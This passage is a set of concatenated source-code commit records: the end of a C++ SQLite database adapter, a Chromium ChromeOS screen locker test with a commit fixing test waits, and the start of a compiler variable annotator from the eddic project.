    return res;\n    }\n\n    res->setStatement(st);\n    m_mapStatements.put(szSt, st);\n\n    return res;\n}\n\nDBResultPtr CDBAdapter::executeSQL( const char* szSt)\n{\n    DBResultPtr res = prepareStatement(szSt);\n    if ( res->getStatement() == null )\n        return res;\n\n    return executeStatement(res);\n}\n\nDBResultPtr CDBAdapter::executeStatement(DBResultPtr& res)\n{\n    int rc = sqlite3_step(res->getStatement());\n    if ( rc != SQLITE_ROW )\n    {\n        res->setStatement(null);\n        if ( rc != SQLITE_OK && rc != SQLITE_ROW && rc != SQLITE_DONE )\n        {\n            checkDbError(rc);\n            \/\/TODO: raise exception\n            return res;\n        }\n    }\n\n    return res;\n}\n\nvoid CDBAdapter::startTransaction()\n{\n    Lock();\n\tm_bInsideTransaction=true;\n    char *zErr = 0;\n    int rc = 0;\n\tif ( m_dbHandle )\n    {\n\t\trc = sqlite3_exec(m_dbHandle, \"BEGIN IMMEDIATE;\",0,0,&zErr);\n        checkDbError(rc);\n    }\n}\n\nvoid CDBAdapter::endTransaction()\n{\n    char *zErr = 0;\n    int rc = 0;\n\tif (m_dbHandle)\n    {\n\t\trc = sqlite3_exec(m_dbHandle, \"END;\",0,0,&zErr);\n        checkDbError(rc);\n    }\n\n\tm_bInsideTransaction=false;\n    Unlock();\n}\n\nvoid CDBAdapter::rollback()\n{\n    char *zErr = 0;\n    int rc = 0;\n\tif (m_dbHandle)\n    {\n\t\trc = sqlite3_exec(m_dbHandle, \"ROLLBACK;\",0,0,&zErr);\n        checkDbError(rc);\n    }\n\n\tm_bInsideTransaction=false;\n    Unlock();\n}\n\n}\n}\n<|endoftext|>"}
{"text":"<commit_before>\/\/ Copyright (c) 2010 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include \"base\/command_line.h\"\n#include \"base\/message_loop.h\"\n#include \"base\/scoped_ptr.h\"\n#include \"chrome\/browser\/automation\/ui_controls.h\"\n#include \"chrome\/browser\/browser_thread.h\"\n#include \"chrome\/browser\/browser_window.h\"\n#include \"chrome\/browser\/chromeos\/cros\/cros_in_process_browser_test.h\"\n#include \"chrome\/browser\/chromeos\/cros\/mock_input_method_library.h\"\n#include \"chrome\/browser\/chromeos\/cros\/mock_screen_lock_library.h\"\n#include \"chrome\/browser\/chromeos\/login\/mock_authenticator.h\"\n#include \"chrome\/browser\/chromeos\/login\/screen_locker.h\"\n#include \"chrome\/browser\/chromeos\/login\/screen_locker_tester.h\"\n#include \"chrome\/browser\/chromeos\/login\/user_manager.h\"\n#include \"chrome\/browser\/ui\/browser.h\"\n#include \"chrome\/browser\/views\/browser_dialogs.h\"\n#include \"chrome\/common\/chrome_switches.h\"\n#include \"chrome\/common\/notification_service.h\"\n#include \"chrome\/common\/notification_type.h\"\n#include \"chrome\/test\/ui_test_utils.h\"\n#include \"testing\/gmock\/include\/gmock\/gmock.h\"\n#include \"testing\/gtest\/include\/gtest\/gtest.h\"\n#include \"views\/controls\/textfield\/textfield.h\"\n#include \"views\/window\/window_gtk.h\"\n\nnamespace {\n\n\/\/ An object that wait for lock state and fullscreen state.\nclass Waiter : public NotificationObserver {\n public:\n  explicit Waiter(Browser* browser)\n      : browser_(browser) {\n    registrar_.Add(this,\n                   NotificationType::SCREEN_LOCK_STATE_CHANGED,\n                   NotificationService::AllSources());\n    handler_id_ = g_signal_connect(\n        G_OBJECT(browser_->window()->GetNativeHandle()),\n        \"window-state-event\",\n        G_CALLBACK(OnWindowStateEventThunk),\n        this);\n  }\n\n  ~Waiter() {\n    g_signal_handler_disconnect(\n        G_OBJECT(browser_->window()->GetNativeHandle()),\n        handler_id_);\n  }\n\n  virtual void Observe(NotificationType type,\n                       const NotificationSource& source,\n                       const NotificationDetails& details) {\n    DCHECK(type == NotificationType::SCREEN_LOCK_STATE_CHANGED);\n    MessageLoop::current()->Quit();\n  }\n\n  \/\/ Wait until the two conditions are met.\n  void Wait(bool locker_state, bool fullscreen) {\n    scoped_ptr<chromeos::test::ScreenLockerTester>\n        tester(chromeos::ScreenLocker::GetTester());\n    while (tester->IsLocked() != locker_state ||\n           browser_->window()->IsFullscreen() != fullscreen) {\n      ui_test_utils::RunMessageLoop();\n    }\n    \/\/ Make sure all pending tasks are executed.\n    ui_test_utils::RunAllPendingInMessageLoop();\n  }\n\n  CHROMEGTK_CALLBACK_1(Waiter, gboolean, OnWindowStateEvent,\n                       GdkEventWindowState*);\n\n private:\n  Browser* browser_;\n  gulong handler_id_;\n  NotificationRegistrar registrar_;\n\n  DISALLOW_COPY_AND_ASSIGN(Waiter);\n};\n\ngboolean Waiter::OnWindowStateEvent(GtkWidget* widget,\n                                    GdkEventWindowState* event) {\n  MessageLoop::current()->Quit();\n  return false;\n}\n\n}  \/\/ namespace\n\nnamespace chromeos {\n\nclass ScreenLockerTest : public CrosInProcessBrowserTest {\n public:\n  ScreenLockerTest() : mock_screen_lock_library_(NULL),\n                       mock_input_method_library_(NULL) {\n  }\n\n protected:\n  MockScreenLockLibrary *mock_screen_lock_library_;\n  MockInputMethodLibrary *mock_input_method_library_;\n\n  \/\/ Test the no password mode with different unlock scheme given by\n  \/\/ |unlock| function.\n  void TestNoPassword(void (unlock)(views::Widget*)) {\n    EXPECT_CALL(*mock_screen_lock_library_, NotifyScreenUnlockRequested())\n        .Times(1)\n        .RetiresOnSaturation();\n    EXPECT_CALL(*mock_screen_lock_library_, NotifyScreenLockCompleted())\n        .Times(1)\n        .RetiresOnSaturation();\n    UserManager::Get()->OffTheRecordUserLoggedIn();\n    ScreenLocker::Show();\n    scoped_ptr<test::ScreenLockerTester> tester(ScreenLocker::GetTester());\n    tester->EmulateWindowManagerReady();\n    ui_test_utils::WaitForNotification(\n        NotificationType::SCREEN_LOCK_STATE_CHANGED);\n    EXPECT_TRUE(tester->IsLocked());\n    tester->InjectMockAuthenticator(\"\", \"\");\n\n    unlock(tester->GetWidget());\n\n    ui_test_utils::RunAllPendingInMessageLoop();\n    EXPECT_TRUE(tester->IsLocked());\n\n    \/\/ Emulate LockScreen request from PowerManager (via SessionManager).\n    ScreenLocker::Hide();\n    ui_test_utils::RunAllPendingInMessageLoop();\n    EXPECT_FALSE(tester->IsLocked());\n  }\n\n private:\n  virtual void SetUpInProcessBrowserTestFixture() {\n    cros_mock_->InitStatusAreaMocks();\n    cros_mock_->InitMockScreenLockLibrary();\n    mock_screen_lock_library_ = cros_mock_->mock_screen_lock_library();\n    mock_input_method_library_ = cros_mock_->mock_input_method_library();\n    EXPECT_CALL(*mock_screen_lock_library_, AddObserver(testing::_))\n        .Times(1)\n        .RetiresOnSaturation();\n    EXPECT_CALL(*mock_screen_lock_library_, NotifyScreenUnlockCompleted())\n        .Times(1)\n        .RetiresOnSaturation();\n    \/\/ Expectations for the status are on the screen lock window.\n    cros_mock_->SetStatusAreaMocksExpectations();\n    \/\/ Expectations for the status area on the browser window.\n    cros_mock_->SetStatusAreaMocksExpectations();\n  }\n\n  virtual void SetUpCommandLine(CommandLine* command_line) {\n    command_line->AppendSwitchASCII(switches::kLoginProfile, \"user\");\n    command_line->AppendSwitch(switches::kNoFirstRun);\n  }\n\n  DISALLOW_COPY_AND_ASSIGN(ScreenLockerTest);\n};\n\nIN_PROC_BROWSER_TEST_F(ScreenLockerTest, TestBasic) {\n  EXPECT_CALL(*mock_input_method_library_, GetNumActiveInputMethods())\n      .Times(1)\n      .WillRepeatedly((testing::Return(0)))\n      .RetiresOnSaturation();\n  EXPECT_CALL(*mock_screen_lock_library_, NotifyScreenUnlockRequested())\n      .Times(1)\n      .RetiresOnSaturation();\n  EXPECT_CALL(*mock_screen_lock_library_, NotifyScreenLockCompleted())\n      .Times(1)\n      .RetiresOnSaturation();\n  UserManager::Get()->UserLoggedIn(\"user\");\n  ScreenLocker::Show();\n  scoped_ptr<test::ScreenLockerTester> tester(ScreenLocker::GetTester());\n  tester->EmulateWindowManagerReady();\n  ui_test_utils::WaitForNotification(\n      NotificationType::SCREEN_LOCK_STATE_CHANGED);\n\n  \/\/ Test to make sure that the widget is actually appearing and is of\n  \/\/ reasonable size, preventing a regression of\n  \/\/ http:\/\/code.google.com\/p\/chromium-os\/issues\/detail?id=5987\n  gfx::Rect lock_bounds;\n  tester->GetChildWidget()->GetBounds(&lock_bounds, true);\n  EXPECT_GT(lock_bounds.width(), 10);\n  EXPECT_GT(lock_bounds.height(), 10);\n\n  tester->InjectMockAuthenticator(\"user\", \"pass\");\n  EXPECT_TRUE(tester->IsLocked());\n  tester->EnterPassword(\"fail\");\n  ui_test_utils::RunAllPendingInMessageLoop();\n  EXPECT_TRUE(tester->IsLocked());\n  tester->EnterPassword(\"pass\");\n  ui_test_utils::RunAllPendingInMessageLoop();\n  \/\/ Successful authentication simply send a unlock request to PowerManager.\n  EXPECT_TRUE(tester->IsLocked());\n\n  \/\/ Emulate LockScreen request from PowerManager (via SessionManager).\n  \/\/ TODO(oshima): Find out better way to handle this in mock.\n  ScreenLocker::Hide();\n  ui_test_utils::RunAllPendingInMessageLoop();\n  EXPECT_FALSE(tester->IsLocked());\n}\n\nIN_PROC_BROWSER_TEST_F(ScreenLockerTest, TestFullscreenExit) {\n  EXPECT_CALL(*mock_screen_lock_library_, NotifyScreenUnlockRequested())\n      .Times(1)\n      .RetiresOnSaturation();\n  EXPECT_CALL(*mock_screen_lock_library_, NotifyScreenLockCompleted())\n      .Times(1)\n      .RetiresOnSaturation();\n  scoped_ptr<test::ScreenLockerTester> tester(ScreenLocker::GetTester());\n  {\n    Waiter waiter(browser());\n    browser()->ToggleFullscreenMode();\n    waiter.Wait(false \/* not locked *\/, true \/* full screen *\/);\n    EXPECT_TRUE(browser()->window()->IsFullscreen());\n    EXPECT_FALSE(tester->IsLocked());\n  }\n  {\n    Waiter waiter(browser());\n    UserManager::Get()->UserLoggedIn(\"user\");\n    ScreenLocker::Show();\n    tester->EmulateWindowManagerReady();\n    waiter.Wait(true \/* locked *\/, false \/* full screen *\/);\n    EXPECT_FALSE(browser()->window()->IsFullscreen());\n    EXPECT_TRUE(tester->IsLocked());\n  }\n  tester->InjectMockAuthenticator(\"user\", \"pass\");\n  tester->EnterPassword(\"pass\");\n  ui_test_utils::RunAllPendingInMessageLoop();\n  ScreenLocker::Hide();\n  ui_test_utils::RunAllPendingInMessageLoop();\n  EXPECT_FALSE(tester->IsLocked());\n}\n\nvoid MouseMove(views::Widget* widget) {\n  ui_controls::SendMouseMove(10, 10);\n}\n\nIN_PROC_BROWSER_TEST_F(ScreenLockerTest, TestNoPasswordWithMouseMove) {\n  TestNoPassword(MouseMove);\n}\n\nvoid MouseClick(views::Widget* widget) {\n  ui_controls::SendMouseClick(ui_controls::RIGHT);\n}\n\nIN_PROC_BROWSER_TEST_F(ScreenLockerTest, TestNoPasswordWithMouseClick) {\n  TestNoPassword(MouseClick);\n}\n\nvoid KeyPress(views::Widget* widget) {\n  ui_controls::SendKeyPress(GTK_WINDOW(widget->GetNativeView()),\n                            app::VKEY_SPACE, false, false, false, false);\n}\n\nIN_PROC_BROWSER_TEST_F(ScreenLockerTest, TestNoPasswordWithKeyPress) {\n  TestNoPassword(KeyPress);\n}\n\nIN_PROC_BROWSER_TEST_F(ScreenLockerTest, TestShowTwice) {\n  EXPECT_CALL(*mock_screen_lock_library_, NotifyScreenLockCompleted())\n      .Times(2)\n      .RetiresOnSaturation();\n\n  UserManager::Get()->UserLoggedIn(\"user\");\n  ScreenLocker::Show();\n  scoped_ptr<test::ScreenLockerTester> tester(ScreenLocker::GetTester());\n  tester->EmulateWindowManagerReady();\n  ui_test_utils::WaitForNotification(\n      NotificationType::SCREEN_LOCK_STATE_CHANGED);\n  EXPECT_TRUE(tester->IsLocked());\n\n  \/\/ Calling Show again simply send LockCompleted signal.\n  ScreenLocker::Show();\n  EXPECT_TRUE(tester->IsLocked());\n\n  \/\/ Close the locker to match expectations.\n  ScreenLocker::Hide();\n  ui_test_utils::RunAllPendingInMessageLoop();\n  EXPECT_FALSE(tester->IsLocked());\n}\n\n}  \/\/ namespace chromeos\n<commit_msg>chromeos: Fix screen locker tests.<commit_after>\/\/ Copyright (c) 2010 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include \"base\/command_line.h\"\n#include \"base\/message_loop.h\"\n#include \"base\/scoped_ptr.h\"\n#include \"chrome\/browser\/automation\/ui_controls.h\"\n#include \"chrome\/browser\/browser_thread.h\"\n#include \"chrome\/browser\/browser_window.h\"\n#include \"chrome\/browser\/chromeos\/cros\/cros_in_process_browser_test.h\"\n#include \"chrome\/browser\/chromeos\/cros\/mock_input_method_library.h\"\n#include \"chrome\/browser\/chromeos\/cros\/mock_screen_lock_library.h\"\n#include \"chrome\/browser\/chromeos\/login\/mock_authenticator.h\"\n#include \"chrome\/browser\/chromeos\/login\/screen_locker.h\"\n#include \"chrome\/browser\/chromeos\/login\/screen_locker_tester.h\"\n#include \"chrome\/browser\/chromeos\/login\/user_manager.h\"\n#include \"chrome\/browser\/ui\/browser.h\"\n#include \"chrome\/browser\/views\/browser_dialogs.h\"\n#include \"chrome\/common\/chrome_switches.h\"\n#include \"chrome\/common\/notification_service.h\"\n#include \"chrome\/common\/notification_type.h\"\n#include \"chrome\/test\/ui_test_utils.h\"\n#include \"testing\/gmock\/include\/gmock\/gmock.h\"\n#include \"testing\/gtest\/include\/gtest\/gtest.h\"\n#include \"views\/controls\/textfield\/textfield.h\"\n#include \"views\/window\/window_gtk.h\"\n\nnamespace {\n\n\/\/ An object that wait for lock state and fullscreen state.\nclass Waiter : public NotificationObserver {\n public:\n  explicit Waiter(Browser* browser)\n      : browser_(browser),\n        running_(false) {\n    registrar_.Add(this,\n                   NotificationType::SCREEN_LOCK_STATE_CHANGED,\n                   NotificationService::AllSources());\n    handler_id_ = g_signal_connect(\n        G_OBJECT(browser_->window()->GetNativeHandle()),\n        \"window-state-event\",\n        G_CALLBACK(OnWindowStateEventThunk),\n        this);\n  }\n\n  ~Waiter() {\n    g_signal_handler_disconnect(\n        G_OBJECT(browser_->window()->GetNativeHandle()),\n        handler_id_);\n  }\n\n  virtual void Observe(NotificationType type,\n                       const NotificationSource& source,\n                       const NotificationDetails& details) {\n    DCHECK(type == NotificationType::SCREEN_LOCK_STATE_CHANGED);\n    if (running_)\n      MessageLoop::current()->Quit();\n  }\n\n  \/\/ Wait until the two conditions are met.\n  void Wait(bool locker_state, bool fullscreen) {\n    running_ = true;\n    scoped_ptr<chromeos::test::ScreenLockerTester>\n        tester(chromeos::ScreenLocker::GetTester());\n    while (tester->IsLocked() != locker_state ||\n           browser_->window()->IsFullscreen() != fullscreen) {\n      ui_test_utils::RunMessageLoop();\n    }\n    \/\/ Make sure all pending tasks are executed.\n    ui_test_utils::RunAllPendingInMessageLoop();\n    running_ = false;\n  }\n\n  CHROMEGTK_CALLBACK_1(Waiter, gboolean, OnWindowStateEvent,\n                       GdkEventWindowState*);\n\n private:\n  Browser* browser_;\n  gulong handler_id_;\n  NotificationRegistrar registrar_;\n\n  \/\/ Are we currently running the message loop?\n  bool running_;\n\n  DISALLOW_COPY_AND_ASSIGN(Waiter);\n};\n\ngboolean Waiter::OnWindowStateEvent(GtkWidget* widget,\n                                    GdkEventWindowState* event) {\n  MessageLoop::current()->Quit();\n  return false;\n}\n\n}  \/\/ namespace\n\nnamespace chromeos {\n\nclass ScreenLockerTest : public CrosInProcessBrowserTest {\n public:\n  ScreenLockerTest() : mock_screen_lock_library_(NULL),\n                       mock_input_method_library_(NULL) {\n  }\n\n protected:\n  MockScreenLockLibrary *mock_screen_lock_library_;\n  MockInputMethodLibrary *mock_input_method_library_;\n\n  \/\/ Test the no password mode with different unlock scheme given by\n  \/\/ |unlock| function.\n  void TestNoPassword(void (unlock)(views::Widget*)) {\n    EXPECT_CALL(*mock_screen_lock_library_, NotifyScreenUnlockRequested())\n        .Times(1)\n        .RetiresOnSaturation();\n    EXPECT_CALL(*mock_screen_lock_library_, NotifyScreenLockCompleted())\n        .Times(1)\n        .RetiresOnSaturation();\n    UserManager::Get()->OffTheRecordUserLoggedIn();\n    ScreenLocker::Show();\n    scoped_ptr<test::ScreenLockerTester> tester(ScreenLocker::GetTester());\n    tester->EmulateWindowManagerReady();\n    if (!chromeos::ScreenLocker::GetTester()->IsLocked())\n      ui_test_utils::WaitForNotification(\n          NotificationType::SCREEN_LOCK_STATE_CHANGED);\n    EXPECT_TRUE(tester->IsLocked());\n    tester->InjectMockAuthenticator(\"\", \"\");\n\n    unlock(tester->GetWidget());\n\n    ui_test_utils::RunAllPendingInMessageLoop();\n    EXPECT_TRUE(tester->IsLocked());\n\n    \/\/ Emulate LockScreen request from PowerManager (via SessionManager).\n    ScreenLocker::Hide();\n    ui_test_utils::RunAllPendingInMessageLoop();\n    EXPECT_FALSE(tester->IsLocked());\n  }\n\n private:\n  virtual void SetUpInProcessBrowserTestFixture() {\n    cros_mock_->InitStatusAreaMocks();\n    cros_mock_->InitMockScreenLockLibrary();\n    mock_screen_lock_library_ = cros_mock_->mock_screen_lock_library();\n    mock_input_method_library_ = cros_mock_->mock_input_method_library();\n    EXPECT_CALL(*mock_screen_lock_library_, AddObserver(testing::_))\n        .Times(1)\n        .RetiresOnSaturation();\n    EXPECT_CALL(*mock_screen_lock_library_, NotifyScreenUnlockCompleted())\n        .Times(1)\n        .RetiresOnSaturation();\n    \/\/ Expectations for the status are on the screen lock window.\n    cros_mock_->SetStatusAreaMocksExpectations();\n    \/\/ Expectations for the status area on the browser window.\n    cros_mock_->SetStatusAreaMocksExpectations();\n  }\n\n  virtual void SetUpCommandLine(CommandLine* command_line) {\n    command_line->AppendSwitchASCII(switches::kLoginProfile, \"user\");\n    command_line->AppendSwitch(switches::kNoFirstRun);\n  }\n\n  DISALLOW_COPY_AND_ASSIGN(ScreenLockerTest);\n};\n\nIN_PROC_BROWSER_TEST_F(ScreenLockerTest, TestBasic) {\n  EXPECT_CALL(*mock_input_method_library_, GetNumActiveInputMethods())\n      .Times(1)\n      .WillRepeatedly((testing::Return(0)))\n      .RetiresOnSaturation();\n  EXPECT_CALL(*mock_screen_lock_library_, NotifyScreenUnlockRequested())\n      .Times(1)\n      .RetiresOnSaturation();\n  EXPECT_CALL(*mock_screen_lock_library_, NotifyScreenLockCompleted())\n      .Times(1)\n      .RetiresOnSaturation();\n  UserManager::Get()->UserLoggedIn(\"user\");\n  ScreenLocker::Show();\n  scoped_ptr<test::ScreenLockerTester> tester(ScreenLocker::GetTester());\n  tester->EmulateWindowManagerReady();\n  if (!chromeos::ScreenLocker::GetTester()->IsLocked())\n    ui_test_utils::WaitForNotification(\n        NotificationType::SCREEN_LOCK_STATE_CHANGED);\n\n  \/\/ Test to make sure that the widget is actually appearing and is of\n  \/\/ reasonable size, preventing a regression of\n  \/\/ http:\/\/code.google.com\/p\/chromium-os\/issues\/detail?id=5987\n  gfx::Rect lock_bounds;\n  tester->GetChildWidget()->GetBounds(&lock_bounds, true);\n  EXPECT_GT(lock_bounds.width(), 10);\n  EXPECT_GT(lock_bounds.height(), 10);\n\n  tester->InjectMockAuthenticator(\"user\", \"pass\");\n  EXPECT_TRUE(tester->IsLocked());\n  tester->EnterPassword(\"fail\");\n  ui_test_utils::RunAllPendingInMessageLoop();\n  EXPECT_TRUE(tester->IsLocked());\n  tester->EnterPassword(\"pass\");\n  ui_test_utils::RunAllPendingInMessageLoop();\n  \/\/ Successful authentication simply send a unlock request to PowerManager.\n  EXPECT_TRUE(tester->IsLocked());\n\n  \/\/ Emulate LockScreen request from PowerManager (via SessionManager).\n  \/\/ TODO(oshima): Find out better way to handle this in mock.\n  ScreenLocker::Hide();\n  ui_test_utils::RunAllPendingInMessageLoop();\n  EXPECT_FALSE(tester->IsLocked());\n}\n\nIN_PROC_BROWSER_TEST_F(ScreenLockerTest, TestFullscreenExit) {\n  EXPECT_CALL(*mock_screen_lock_library_, NotifyScreenUnlockRequested())\n      .Times(1)\n      .RetiresOnSaturation();\n  EXPECT_CALL(*mock_screen_lock_library_, NotifyScreenLockCompleted())\n      .Times(1)\n      .RetiresOnSaturation();\n  scoped_ptr<test::ScreenLockerTester> tester(ScreenLocker::GetTester());\n  {\n    Waiter waiter(browser());\n    browser()->ToggleFullscreenMode();\n    waiter.Wait(false \/* not locked *\/, true \/* full screen *\/);\n    EXPECT_TRUE(browser()->window()->IsFullscreen());\n    EXPECT_FALSE(tester->IsLocked());\n  }\n  {\n    Waiter waiter(browser());\n    UserManager::Get()->UserLoggedIn(\"user\");\n    ScreenLocker::Show();\n    tester->EmulateWindowManagerReady();\n    waiter.Wait(true \/* locked *\/, false \/* full screen *\/);\n    EXPECT_FALSE(browser()->window()->IsFullscreen());\n    EXPECT_TRUE(tester->IsLocked());\n  }\n  tester->InjectMockAuthenticator(\"user\", \"pass\");\n  tester->EnterPassword(\"pass\");\n  ui_test_utils::RunAllPendingInMessageLoop();\n  ScreenLocker::Hide();\n  ui_test_utils::RunAllPendingInMessageLoop();\n  EXPECT_FALSE(tester->IsLocked());\n}\n\nvoid MouseMove(views::Widget* widget) {\n  ui_controls::SendMouseMove(10, 10);\n}\n\nIN_PROC_BROWSER_TEST_F(ScreenLockerTest, TestNoPasswordWithMouseMove) {\n  TestNoPassword(MouseMove);\n}\n\nvoid MouseClick(views::Widget* widget) {\n  ui_controls::SendMouseClick(ui_controls::RIGHT);\n}\n\nIN_PROC_BROWSER_TEST_F(ScreenLockerTest, TestNoPasswordWithMouseClick) {\n  TestNoPassword(MouseClick);\n}\n\nvoid KeyPress(views::Widget* widget) {\n  ui_controls::SendKeyPress(GTK_WINDOW(widget->GetNativeView()),\n                            app::VKEY_SPACE, false, false, false, false);\n}\n\nIN_PROC_BROWSER_TEST_F(ScreenLockerTest, TestNoPasswordWithKeyPress) {\n  TestNoPassword(KeyPress);\n}\n\nIN_PROC_BROWSER_TEST_F(ScreenLockerTest, TestShowTwice) {\n  EXPECT_CALL(*mock_screen_lock_library_, NotifyScreenLockCompleted())\n      .Times(2)\n      .RetiresOnSaturation();\n\n  UserManager::Get()->UserLoggedIn(\"user\");\n  ScreenLocker::Show();\n  scoped_ptr<test::ScreenLockerTester> tester(ScreenLocker::GetTester());\n  tester->EmulateWindowManagerReady();\n  if (!chromeos::ScreenLocker::GetTester()->IsLocked())\n    ui_test_utils::WaitForNotification(\n        NotificationType::SCREEN_LOCK_STATE_CHANGED);\n  EXPECT_TRUE(tester->IsLocked());\n\n  \/\/ Calling Show again simply send LockCompleted signal.\n  ScreenLocker::Show();\n  EXPECT_TRUE(tester->IsLocked());\n\n  \/\/ Close the locker to match expectations.\n  ScreenLocker::Hide();\n  ui_test_utils::RunAllPendingInMessageLoop();\n  EXPECT_FALSE(tester->IsLocked());\n}\n\n}  \/\/ namespace chromeos\n<|endoftext|>"}
{"text":"<commit_before>\/\/=======================================================================\n\/\/ Copyright Baptiste Wicht 2011.\n\/\/ Distributed under the Boost Software License, Version 1.0.\n\/\/ (See accompanying file LICENSE_1_0.txt or copy at\n\/\/  http:\/\/www.boost.org\/LICENSE_1_0.txt)\n\/\/=======================================================================\n\n#include <algorithm>\n#include <memory>\n\n#include <boost\/variant\/variant.hpp>\n\n#include \"VariablesAnnotator.hpp\"\n\n#include \"IsConstantVisitor.hpp\"\n#include \"GetTypeVisitor.hpp\"\n#include \"SemanticalException.hpp\"\n#include \"Context.hpp\"\n#include \"GlobalContext.hpp\"\n#include \"FunctionContext.hpp\"\n#include \"Types.hpp\"\n#include \"Variable.hpp\"\n\n#include \"Compiler.hpp\"\n#include \"Options.hpp\"\n#include \"TypeTransformer.hpp\"\n#include \"Utils.hpp\"\n\n#include \"VisitorUtils.hpp\"\n#include \"ASTVisitor.hpp\"\n\n#include \"ast\/SourceFile.hpp\"\n\nusing namespace eddic;\n\nstruct VariablesVisitor : public boost::static_visitor<> {\n    AUTO_RECURSE_PROGRAM()\n    AUTO_RECURSE_FUNCTION_CALLS()\n    AUTO_RECURSE_SIMPLE_LOOPS()\n    AUTO_RECURSE_BRANCHES()\n    AUTO_RECURSE_BINARY_CONDITION()\n   \n    void operator()(ast::FunctionDeclaration& declaration){\n        \/\/Add all the parameters to the function context\n        for(auto& parameter : declaration.Content->parameters){\n            Type type = visit(TypeTransformer(), parameter.parameterType);\n            \n            declaration.Content->context->addParameter(parameter.parameterName, type);    \n        }\n\n        visit_each(*this, declaration.Content->instructions);\n    }\n    \n    void operator()(ast::GlobalVariableDeclaration& declaration){\n        if (declaration.Content->context->exists(declaration.Content->variableName)) {\n            throw SemanticalException(\"The global Variable \" + declaration.Content->variableName + \" has already been declared\");\n        }\n    \n        if(!visit(IsConstantVisitor(), *declaration.Content->value)){\n            throw SemanticalException(\"The value must be constant\");\n        }\n\n        BaseType baseType = stringToBaseType(declaration.Content->variableType); \n        Type type(baseType, declaration.Content->constant);\n        declaration.Content->context->addVariable(declaration.Content->variableName, type, *declaration.Content->value);\n    }\n\n    void operator()(ast::GlobalArrayDeclaration& declaration){\n        if (declaration.Content->context->exists(declaration.Content->arrayName)) {\n            throw SemanticalException(\"The global Variable \" + declaration.Content->arrayName + \" has already been declared\");\n        }\n\n        BaseType baseType = stringToBaseType(declaration.Content->arrayType); \n        Type type(baseType, declaration.Content->arraySize, false);\n\n        declaration.Content->context->addVariable(declaration.Content->arrayName, type);\n    }\n    \n    void operator()(ast::Foreach& foreach){\n        if(foreach.Content->context->exists(foreach.Content->variableName)){\n            throw SemanticalException(\"The foreach variable \" + foreach.Content->variableName  + \" has already been declared\");\n        }\n\n        foreach.Content->context->addVariable(foreach.Content->variableName, stringToType(foreach.Content->variableType));\n\n        visit_each(*this, foreach.Content->instructions);\n    }\n    \n    void operator()(ast::ForeachIn& foreach){\n        if(foreach.Content->context->exists(foreach.Content->variableName)){\n            throw SemanticalException(\"The foreach variable \" + foreach.Content->variableName  + \" has already been declared\");\n        }\n        \n        if(!foreach.Content->context->exists(foreach.Content->arrayName)){\n            throw SemanticalException(\"The foreach array \" + foreach.Content->arrayName  + \" has not been declared\");\n        }\n\n        static int generated = 0;\n\n        foreach.Content->var = foreach.Content->context->addVariable(foreach.Content->variableName, stringToType(foreach.Content->variableType));\n        foreach.Content->arrayVar = foreach.Content->context->getVariable(foreach.Content->arrayName);\n        foreach.Content->iterVar = foreach.Content->context->addVariable(\"foreach_iter_\" + toString(++generated), stringToType(\"int\"));\n\n        visit_each(*this, foreach.Content->instructions);\n    }\n\n    void operator()(ast::Assignment& assignment){\n        if (!assignment.Content->context->exists(assignment.Content->variableName)) {\n            throw SemanticalException(\"Variable \" + assignment.Content->variableName + \" has not  been declared\");\n        }\n\n        visit(*this, assignment.Content->value);\n\n        assignment.Content->context->getVariable(assignment.Content->variableName)->addReference();\n    }\n    \n    void operator()(ast::SuffixOperation& operation){\n        if (!operation.Content->context->exists(operation.Content->variableName)) {\n            throw SemanticalException(\"Variable \" + operation.Content->variableName + \" has not  been declared\");\n        }\n\n        operation.Content->variable = operation.Content->context->getVariable(operation.Content->variableName);\n        operation.Content->variable->addReference();\n    }\n    \n    void operator()(ast::PrefixOperation& operation){\n        if (!operation.Content->context->exists(operation.Content->variableName)) {\n            throw SemanticalException(\"Variable \" + operation.Content->variableName + \" has not  been declared\");\n        }\n\n        operation.Content->variable = operation.Content->context->getVariable(operation.Content->variableName);\n        operation.Content->variable->addReference();\n    }\n\n    void operator()(ast::Return& return_){\n        visit(*this, return_.Content->value);\n    }\n\n    void operator()(ast::ArrayAssignment& assignment){\n        if (!assignment.Content->context->exists(assignment.Content->variableName)) {\n            throw SemanticalException(\"Array \" + assignment.Content->variableName + \" has not  been declared\");\n        }\n\n        visit(*this, assignment.Content->indexValue);\n        visit(*this, assignment.Content->value);\n\n        assignment.Content->context->getVariable(assignment.Content->variableName)->addReference();\n    }\n    \n    void operator()(ast::VariableDeclaration& declaration){\n        if (declaration.Content->context->exists(declaration.Content->variableName)) {\n            throw SemanticalException(\"Variable \" + declaration.Content->variableName + \" has already been declared\");\n        }\n        \n        visit(*this, *declaration.Content->value);\n\n        BaseType baseType = stringToBaseType(declaration.Content->variableType);\n        Type type(baseType, declaration.Content->const_);\n\n        if(type.isConst()){\n            if(!visit(IsConstantVisitor(), *declaration.Content->value)){\n                throw SemanticalException(\"The value must be constant\");\n            }\n            \n            declaration.Content->context->addVariable(declaration.Content->variableName, type, *declaration.Content->value);\n        } else {\n            declaration.Content->context->addVariable(declaration.Content->variableName, type);\n        }\n    }\n    \n    void operator()(ast::ArrayDeclaration& declaration){\n        if (declaration.Content->context->exists(declaration.Content->arrayName)) {\n            throw SemanticalException(\"The variable \" + declaration.Content->arrayName + \" has already been declared\");\n        }\n\n        BaseType baseType = stringToBaseType(declaration.Content->arrayType); \n        Type type(baseType, declaration.Content->arraySize, false);\n\n        declaration.Content->context->addVariable(declaration.Content->arrayName, type);\n    }\n    \n    void operator()(ast::Swap& swap){\n        if (swap.Content->lhs == swap.Content->rhs) {\n            throw SemanticalException(\"Cannot swap a variable with itself\");\n        }\n\n        if (!swap.Content->context->exists(swap.Content->lhs) || !swap.Content->context->exists(swap.Content->rhs)) {\n            throw SemanticalException(\"Variable has not been declared in the swap\");\n        }\n\n        swap.Content->lhs_var = swap.Content->context->getVariable(swap.Content->lhs);\n        swap.Content->rhs_var = swap.Content->context->getVariable(swap.Content->rhs);\n\n        \/\/Reference both variables\n        swap.Content->lhs_var->addReference();\n        swap.Content->rhs_var->addReference();\n    }\n\n    void operator()(ast::VariableValue& variable){\n        if (!variable.Content->context->exists(variable.Content->variableName)) {\n            throw SemanticalException(\"Variable \" + variable.Content->variableName + \" has not been declared\");\n        }\n\n        \/\/Reference the variable\n        variable.Content->var = 